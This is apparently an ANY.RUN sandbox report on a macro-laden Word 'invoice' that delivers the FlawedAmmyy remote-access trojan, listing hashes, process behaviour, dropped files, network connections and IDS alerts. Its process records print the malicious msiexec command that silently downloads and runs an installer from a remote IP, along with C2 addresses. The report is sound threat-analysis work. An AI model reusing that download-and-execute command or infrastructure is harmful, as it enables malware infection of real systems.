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File name:

송장_00190821.doc

Full analysis: https://app.any.run/tasks/4c996284-45bc-4748-9f31-7df05245e4ac
Verdict: Malicious activity
Threats:

FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics.

Analysis date: February 19, 2019, 06:22:55
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
rat
flawedammyy
ammyy
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Title: 1, Author: 1, Template: Normal.dotm, Last Saved By: 1, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Feb 18 20:07:00 2019, Last Saved Time/Date: Mon Feb 18 20:07:00 2019, Number of Pages: 1, Number of Words: 23, Number of Characters: 137, Security: 0
MD5:

93E5AF41B2994E60FE1655994DCC1FC3

SHA1:

0DF9F97D57786EBDC54C95218DE8BB762E32ABBA

SHA256:

32318477E1C624E585C61546FAE2059D2FF8F3732A988E890665C2D81B3651CC

SSDEEP:

768:5pMLELemEgZnQgW5tmhdMgNMVkefr0VTEJ6eSX:5LLemXZQgW5IYgNlPoJ6vX

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses Microsoft Installer as loader

      • WINWORD.EXE (PID: 2992)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2992)
    • Application was dropped or rewritten from another process

      • wsus.exe (PID: 2656)
      • wsus.exe (PID: 3560)
    • Loads the Task Scheduler COM API

      • MSIF489.tmp (PID: 3788)
    • Loads the Task Scheduler DLL interface

      • MSIF489.tmp (PID: 3788)
    • Connects to CnC server

      • wsus.exe (PID: 2656)
    • Changes the autorun value in the registry

      • MSIF489.tmp (PID: 3788)
    • AMMYY was detected

      • wsus.exe (PID: 2656)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3708)
    • Downloads executable files from IP

      • msiexec.exe (PID: 3708)
  • SUSPICIOUS

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3708)
    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3708)
      • MSIF489.tmp (PID: 3788)
    • Creates files in the program directory

      • MSIF489.tmp (PID: 3788)
    • Starts CMD.EXE for commands execution

      • MSIF489.tmp (PID: 3788)
    • Creates files in the Windows directory

      • MSIF489.tmp (PID: 3788)
  • INFO

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3708)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2992)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2992)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 3708)
    • Application was dropped or rewritten from another process

      • MSIF489.tmp (PID: 3788)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: 1
Subject: -
Author: 1
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: 1
RevisionNumber: 2
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:02:18 20:07:00
ModifyDate: 2019:02:18 20:07:00
Pages: 1
Words: 23
Characters: 137
Security: None
CodePage: Windows Cyrillic
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 159
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: 1
HeadingPairs:
  • Название
  • 1
CompObjUserTypeLen: 32
CompObjUserType: ???????? Microsoft Word 97-2003
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
8
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs msiexec.exe no specs msiexec.exe msif489.tmp #AMMYY wsus.exe cmd.exe no specs wsus.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2992"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\송장_00190821.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2364"C:\Windows\System32\msiexec.exe" back=001 error=exit /i http://185.17.120.235/select /q OnLoad="c:\windows\calc.exe" Aciqy=¶µ±VIks1C:\Windows\System32\msiexec.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3708C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3788"C:\Windows\Installer\MSIF489.tmp"C:\Windows\Installer\MSIF489.tmp
msiexec.exe
User:
admin
Company:
IBM Controler' System Security Control
Integrity Level:
MEDIUM
Description:
IBM Controler' System Security Control
Exit code:
0
Version:
2.8.17228.1
2656"C:\ProgramData\Microsofts Help\wsus.exe"C:\ProgramData\Microsofts Help\wsus.exe
MSIF489.tmp
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Version:
1.18.2.51920
3848"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSIF489.tmp >> NULC:\Windows\system32\cmd.exeMSIF489.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3560"C:\ProgramData\Microsofts Help\wsus.exe" C:\ProgramData\Microsofts Help\wsus.exetaskeng.exe
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Exit code:
0
Version:
1.18.2.51920
3736"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSIF489.tmp >> NULC:\Windows\system32\cmd.exeMSIF489.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 262
Read events
821
Write events
0
Delete events
0

Modification events

No data
Executable files
3
Suspicious files
6
Text files
9
Unknown types
6

Dropped files

PID
Process
Filename
Type
2992WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRE6F9.tmp.cvr
MD5:
SHA256:
2992WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFC5DAF334B106C51D.TMP
MD5:
SHA256:
2992WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF712E642EDE050BEB.TMP
MD5:
SHA256:
2992WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF7BCD14A4AD9DDD4C.TMP
MD5:
SHA256:
3708msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFA5614EEDECF16FF4.TMP
MD5:
SHA256:
2992WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:33743F975BFA803DABBDADDABC62A0E8
SHA256:A0E9816A53B51AD1D910161BD47BBB15A9FC512511756E8DDFB7107170D5BF73
3708msiexec.exeC:\Config.Msi\20f2e2.rbs
MD5:
SHA256:
3708msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF3ED51DAD5803537A.TMP
MD5:
SHA256:
3708msiexec.exeC:\Windows\Installer\MSIF489.tmpexecutable
MD5:CE0F37D5932FF0B583B79C6DCF7DAC7E
SHA256:4EFE3097DAC309A1619415E1EF8654F0B30B516E601D6C4C061CFCD9DD876968
3708msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.datdat
MD5:F0A3CF2864853DE87AC562A6FE1C94A7
SHA256:076901A3A4FCF6CBFD98705B0A106A036A874CAE4053AF7D5E70D623555F735A
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3788
MSIF489.tmp
GET
200
185.17.120.235:80
http://185.17.120.235/dat1.omg
RU
binary
657 Kb
suspicious
3708
msiexec.exe
GET
200
185.17.120.235:80
http://185.17.120.235/select
RU
executable
168 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3788
MSIF489.tmp
185.17.120.235:80
Leaseweb Deutschland GmbH
RU
suspicious
3708
msiexec.exe
185.17.120.235:80
Leaseweb Deutschland GmbH
RU
suspicious
2656
wsus.exe
185.99.133.2:80
Zappie Host LLC
NZ
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
3708
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
3708
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
2656
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT
2656
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] AMMYY RAT
2656
wsus.exe
A Network Trojan was detected
ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin
2656
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT Checkin
1 ETPRO signatures available at the full report
Process
Message
MSIF489.tmp
C:\ProgramData\Microsofts Help\template_c5e330.DATAHASH
MSIF489.tmp
--End Dowload--